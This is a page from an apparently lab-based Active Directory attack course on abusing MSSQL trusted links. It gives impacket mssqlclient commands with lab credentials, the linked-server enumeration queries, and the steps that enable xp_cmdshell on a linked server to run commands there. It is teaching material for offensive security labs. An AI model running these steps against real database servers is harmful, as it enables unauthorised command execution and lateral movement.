> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/mssql-servers-exploitation/mssql-trusted-links.md).
# MSSQL trusted links
* Another SQL abuse we could try on the lab, is the usage of mssql trusted links.
> Note that trusted link is also a forest to forest technique
* To abuse the links let’s connect with elena.lopez and use enum\_links
```
mssqlclient.py -windows-auth north.newyork.local/elena.lopez:princesa1@yonkers.north.newyork.local -show
```
```
enum_links
```
* This play the following queries :
```
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
```
* As we can see a linked server exist with the name Salisbury and a mapping exist with the user Elena.Lopez and sa on Salisbury.
* If we use the link we can get a command injection on Salisbury:
```
use_link Salisbury
enable_xp_cmdshell
xp_cmdshell whoami
```
* This play the following MSSQL commands :
```
EXEC ('select system_user as "username"') AT Salisbury
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT Salisbury
EXEC ('exec master..xp_cmdshell ''whoami''') AT Salisbury
```
* We got a command injection on Salisbury.Maryland.local as maryland\sql\_svc\\
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